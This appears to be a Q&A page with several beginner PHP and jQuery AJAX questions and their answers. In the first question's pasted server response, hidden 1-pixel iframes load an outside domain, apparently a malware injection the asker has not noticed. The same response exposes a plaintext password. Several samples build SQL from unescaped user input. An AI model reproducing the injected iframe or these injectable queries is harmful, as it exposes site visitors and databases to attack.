Hi Iam new with php and ajax I have a select box that when user selects the info must fill in to four text box.someone suggest to use jQuery my first code
anyway my php code is
if(isset($_GET['username']))
{
$username=$_GET['username'];
$usr1=new USER;
$where="username='$username'";
$a=$usr1->show($where);
echo json_encode($a);
}
and my form is here
<form id="f1">
<select id="s1">
<option selected></option>
<option value="admin" >admin</option>
<option value="pooria.hojjati">pooria.hojjati</option>
</select><br>
<input type="text" id="name" value=""><br>
<input type="text" id="family" value=""><br>
<input type="text" id="email" value=""><br>
<input type="text" id="pri" value=""><br>
<!--<input type="button" value="press me" id="btn">-->
</form>
<div id="d">
un replaced
</div>
<script language="javascript">
$("#f1 select:#s1").change(function(){
var a=$("#f1 select:#s1").val();
$.ajax({
url:'ajax.php',
data:{username:a},
type:'get',
datatype:'json',
success:function(res){
var b=JSON.parse(res);
$("#f1 input:#name").val(b.name);
$("#f1 input:#family").val(b.family);
$("#f1 input:#email").val(b.email);
$("#f1 input:#pri").val(b.privilege);}
})
});
</script>
and i have an error: SyntaxError: JSON.parse: unexpected character
And when I alert the response I get this:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Untitled Document</title>
</head>
<body>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>user</title>
</head>
<body>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>DB</title>
</head>
<body>
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
{"id":"1","name":"\u067e\u0648\u0631\u06cc\u0627","family":"\u062d\u062c\u062a\u06cc \u0628\u0633\u0637\u0627\u0645\u06cc","username":"pooria.hojjati","password":"12044525","email":"pooria.hojjati#gmail.com","privilege":"1"}</body>
</html>
In jQuery, the selector $("#f1 select:#s1") is not correct syntax. This selector should be $("#f1 select#s1"). The same for the other selectors as well. :foo selectors are jQuery special selectors like :checked, :contains(), etc.
Are you using a framework in your php code which is creating the html layout? Try to bypass it. After calling echo json_encode(...), call exit;. This will immediately stop execution and output the buffer so far.
Related
I am trying to create a form that user is choosing an option let's say that he will choose his name i used ajax to call another page , in this page i create the connection and inserting the answer the problem it's inserting null
Code
index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>MyDataBase </title>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"> </script>
$(document).ready(function(){
$("#mysubmit").click( function (){
$.ajax({
url:"Final.php",
type:"POST",
success: function(success_array)
{
alert(" Well Done ");
},
error: function(xhr, ajaxOptions, thrownError)
{
alert( " Didn't work ! ");
}
});
});
});
</script>
</head>
<form method="post" id = "myform">
<input type="radio" name="kname" value="X1" />X1<br />
<input type="radio" name="kname" value="Y1" />Y1<br />
<input type="radio" name="kname" value="A1" />A1<br />
<input type="radio" name="kname" value="G1" />G1<br />
<input type="submit" onclick="save()" id="mysubmit"/>
</form>
<body>
</body>
</html>
Final.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Thanks</title>
</head>
<body>
<?php
$con = mysqli_connect("localhost","root","xyz","test");
mysqli_query($con,"INSERT INTO name values ('$_POST[kname]')");
?>
</body>
</html>
You have to reference the kname via $_POST['kname'].
But please! always escape your values!
When submitting/posting via ajax you need to add your data. simplest is with serialize().
var form = $('#myform');
$.ajax({
url:"Final.php",
type:"POST",
data: form.serialize(),
...
or you could get a single field -
data: {kname: $('#id_of_your_radio').val()},
just make sure to sanitize the userdata before inserting into your db.
I try to submit my form automatically when I change an input field but nothing happens but I can just display a message using "alert(message)",can you help me please!!!
My code :
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript" src="script/jquery-1.8.3.min.js"></script>
</head>
<body>
<form method="POST" id="form" action="">
<fieldset>
Text 1 : <input id="text1" type="text" name="text1" value="" />
<input id="submit" type="submit" name='submit' value="Send"/>
</fieldset>
</form>
<script>
$('#form input[name=text1]').change(function(){
$('#form').click();
//alert("Changed!");// This works
});
</script>
</body>
</html>
<?php
if (isset($_POST['submit'])){
echo $_POST['text1'];
}
?>
Try this -
$('#form input[name=text1]').change(function(){
$('#form').submit();
});
http://api.jquery.com/submit/
Try:
$('#form input[name=text1]').change(function(){
$("#submit").click();
});
I have some third party javascript code
<SCRIPT language="JavaScript" SRC="http://some-videos.com/addbutton.cfm?ID=20415454598212"></SCRIPT>
When this code is added in html file it shows one play button, now i want that if user clicks on any button one function should be called and that function will load this js code. I have tried .load, .getScript, .ajax but nothing is working.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.8.1.min.js"></script>
<script language="javascript">
function loadVideo()
{
$('#videoButton').load("http://some-videos.com/addbutton.cfm?ID=20415454598212");
}
</script>
</head>
<body>
<div id="videoButton"></div>
<input type="button" value="Load Video Button" onclick="loadVideo();" />
<br /><br />
Below code shows one play button, that is generated through included javascript file.
<SCRIPT language="JavaScript" SRC="http://some-videos.com/addbutton.cfm?ID=20415454598212"></SCRIPT>
<!-- I have added dummy Url -->
</body>
</html>
function myFunction()
{
$('head').append($('<script type="text/javascript" src="http://some-videos.com/addbutton.cfm?ID=20415454598212"></script>'));
}
I suppose using jQuery. This way will be external Javascript loaded on demand.
I've got this piece of script, and I'm trying to hide two divs (#black and #yname) if a certain variable or session is set in PHP, so is there a simple way to do so?
Here's my code:
input.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
#import "stil.css";
</style>
<title>Untitled Document</title>
<script type="text/javascript" src="jq.js"></script>
<script type="text/javascript" src="jquery-ui-1.8.13.custom.min.js"></script>
<script type="text/javascript" src="scripts.js"></script>
<script type="text/javascript" src="postme.js"></script>
</head>
<body>
<div id="wrap">
<div id="chat">
<div id="main">
</div>
<div id="input">
<form name="form"action="test.php" method="post">
<input type="text" name="tekst" id="msg" size="72" />
<input type="submit" name="dugme" value="posalji" id="dugme" />
</form>
</div>
</div>
</div>
<div id="black">
</div>
<div id="yname">
<form name="yname">
<input type="text" name="tekst2" />
<input type="button" name="dugme2" value="Enter" onclick="send()"/>
</div>
</body>
</html>
postme.js
function send(){
$.post('sesion.php',{name:yname.tekst2.value},function(val){
}
});
}
sesion.php
<?php
session_start();
$data=$_POST['name'];
$_SESSION['name']=$data;
$sesion_n=$_SESSION['name'];
echo $sesion_n;
?>
So basically, what I want to do is to check if $sesion_n variable is set, and if it's set, I want my send() function to hide divs #black and #yname.
In addition, is there a way to use val value with jquery somehow for example to alert it or to assign that value to a javascript variable?
function send(){
$.post('sesion.php',{name:yname.tekst2.value},function(val){
if(val) {
$('#black').hide();
$('#yname').hide();
}
}
});
}
well i didnt get your question completely but you can use hide() method to hide any div in jquery...
Here is the test.html file code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="zh-hans" xml:lang="zh-hans">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>test</title>
</head>
<body>
<div class="fr_search">
<form action="cse.php" accept-charset="UTF-8" method="post"
id="search-theme-form">
<input type="text" maxlength="128" name="search_theme_form"
id="edit-search-theme-form-1" size="15" value="" class="form-text" />
<input type="image" name="submit" id="edit-submit"
class="form-submit" src="images/search_btn_top.gif" /></div>
</form>
</div>
</body>
</html>
I put the code which generated by the http://www.google.com/cse/manage/create?hl=en. The
"Sites to search" I entered that was http://stackoverflow.com. When I put the generated code into the cse.php. Then put the cse.php and test.html into my local php enviroment. When I entered the text "php" into the search textbox and click the search button. But there is no any result on my search result page. What's wrong with my steps and code? thank you.
Here is the cse.php file code:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>test search</title>
</head>
<body>
<script src="http://www.google.com/jsapi" type="text/javascript"></script>
<script type="text/javascript">
google.load('search', '1', {language : 'en'});
google.setOnLoadCallback(function()
{
var customSearchControl = new google.search.CustomSearchControl ('011247711644571852159:xe2ytn1hwsa');
customSearchControl.setResultSetSize(google.search.Search.FILTERED_CSE_RESULTSET);
customSearchControl.draw('cse');
}, true);
</script>
<link rel="stylesheet" href="http://www.google.com/cse/style/look/default.css"
type="text/css" />
<?php echo 'test'; ?>
</body>
</html>
I'm not sure where to start with your code, but with a fresh code snippet from the Custom Search code generator, you can pass a query string to the CustomSearchControl. With code borrowed from here, something like this should work:
<div id="cse">Loading…</div>
<script src="http://www.google.com/jsapi"></script>
<script>
// Extract user's query from the URL
function getQuery() {
var url = '' + window.location;
var queryStart = url.indexOf('?') + 1;
if (queryStart > 0) {
var parts = url.substr(queryStart).split('&');
for (var i = 0; i < parts.length; i++) {
if (parts[i].length > 2 && parts[i].substr(0, 2) == 'q=') {
return decodeURIComponent(parts[i].split('=')[1].replace(/\+/g, ' '));
}
}
}
return '';
}
google.load('search', '1', {language:'en' });
google.setOnLoadCallback(function() {
var cseControl = new google.search.CustomSearchControl('ID_GOES_HERE');
cseControl.setResultSetSize(google.search.Search.FILTERED_CSE_RESULTSET);
cseControl.draw('cse');
// Execute a query based on the query string
cseControl.execute(getQuery());
}, true);
</script>
So, for example that would go in your cse.php page (although there's no PHP in there at this stage) and your initial page's form something like:
<form action="cse.php" method="get">
<input name="q"> <input type="submit">
</form>
Get rid of the http:// in the sites to search bit.